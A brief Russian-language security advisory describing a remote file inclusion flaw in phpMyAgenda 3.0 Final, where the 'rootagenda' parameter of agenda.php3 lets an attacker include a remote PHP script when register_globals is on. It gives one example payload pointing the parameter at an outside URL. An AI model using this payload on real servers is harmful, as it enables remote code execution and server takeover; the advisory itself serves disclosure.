Программа: phpMyAgenda 3.0 Final, возможно другие версии.

Уязвимость позволяет удаленному пользователю выполнить произвольный код на
целевой системе. Уязвимость существует из-за недостаточной обработки входных
данных в параметре "rootagenda" в сценарии agenda.php3. Удаленный пользователь
может с помощью специально сформированного POST запроса выполнить произвольный
PHP сценарий на целевой системе с привилегиями Web сервера. Для успешной
эксплуатации уязвимости опция "register_globals" должна быть включена.

Пример:

rootagenda=http://www.yourspace.com/yourscript.php?
 



Оставить мнение